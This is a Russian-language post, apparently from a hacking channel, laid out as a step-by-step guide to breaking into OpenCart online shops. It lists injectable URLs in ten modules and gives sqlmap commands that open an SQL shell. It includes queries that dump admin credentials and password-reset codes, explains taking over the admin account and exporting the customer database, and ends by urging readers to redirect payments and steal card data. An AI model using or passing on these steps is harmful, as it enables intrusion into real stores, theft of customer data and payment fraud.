April 12

Уязвимости в модулях OpenCart 

Итак, OpenCart - популярный движок для интернет-магазинов, особенно в зарубежье. Статистика примерно такая:

Данные уязвимости в большинстве случаев дадут нам полный контроль над сайтом, а именно доступ в админ-панель. Если доступ не будет получен, то БД можно будет слить в любом случае.

Все уязвимости будут основаны на sql инъекциях в популярных модулях для opencart, следовательно нужны навыки работы с sqlmap. Приступим!

1. Инъекция

Всего уязвимых модулей мне известно 10:

  1. manufacturer
  2. product
  3. search
  4. seo
  5. enquiry
  6. journal3
  7. pav
  8. blog_list
  9. blog
  10. d_blog_module

Инъекция на каждом из модулей будет одинаковая, отличаться будет только url:

  1. https://site.com/index.php?route=product/manufacturer/info&manufacturer_id=
  2. https://site.com/index.php?route=product/product&path=4_16&product_id=431'
  3. https://site.com/index.php?route=product/search&tag='
  4. https://site.com/'
  5. https://site.com/index.php?route=information/contact&enquiry='
  6. https://site.com/index.php?route=journal3/product&product_id='
  7. https://site.com/index.php?route=pavblog/blog&blog_id=160'
  8. https://site.com/index.php?route=product/blog_list&blogger_id=11'
  9. https://site.com/index.php?route=blog/blog&blog_id=140'
  10. https://site.com/index.php?route=extension/d_blog_module/search&tag='

Где в ссылке есть кавычка, она обязательная!

Мы рассмотрим инъекцию в модуль seo

sqlmap.py -u "https://site.com/'*" --random-agent --dbms=mysql --level=5 --risk=3

Посмотрев внимательно на вышеуказанную команду, вы можете заметить, что в ссылке есть *, она указывает sqlmap куда в ссылке проводить инъекцию

Тут sqlmap как раз говорит о том, что он увидел маркер для инъекции и спрашивает, туда ли проводить инъекцию, жмем Y и enter

Как видим, инъекция найдена.

2. Получение доступа к админке

Далее узнаем имя БД

Теперь получим доступ к sql-shell (командная строка самой базы данных)

sqlmap.py -u "https://site.com/'*" --random-agent --dbms=mysql --level=5 --risk=3 -D oc_chaibuket2020 --sql-shell

Sql-shell получен

Теперь получим учетные данные админов сайта

select `username`,`password`,`salt`,`email` from `oc_user`

Отсюда нам требуется email и логин админа

Далее переходим на сайт, с которым мы работаем на данный момент, по адресу https://site.com/admin

Нас встречает такой интерфейс. Жмем забыли пароль

Вводим сюда email админа и жмем сбросить

Далее идем обратно в sql-shell и вводим команду для получения кода сброса пароля

select `code` from `oc_user`

Мы получили код

Далее идем по адресу https://site.com/admin/index.php?route=common/reset&code=<ТУТ ВАШ КОД>

Придумываем и вводим новый пароль для админа, затем авторизуемся с логином, который мы получили ранее и паролем, который мы только что установили

И вот мы в админке

3. Слив БД

Идем в раздел Система>Обслуживание>Бэкап/Восстановление (Названия раздел могут отличаться)

Выбираем нужные нам таблицы (Пользователи находятся в таблице oc_customer) и жмем экспорт

Поздравляю, БД у вас!

Как видите, сложного так же ничего нет. На забугор сайтах можно не только слить бд, но и заменить реквизиты на оплату, слить CC и много много чего другого, включайте голову!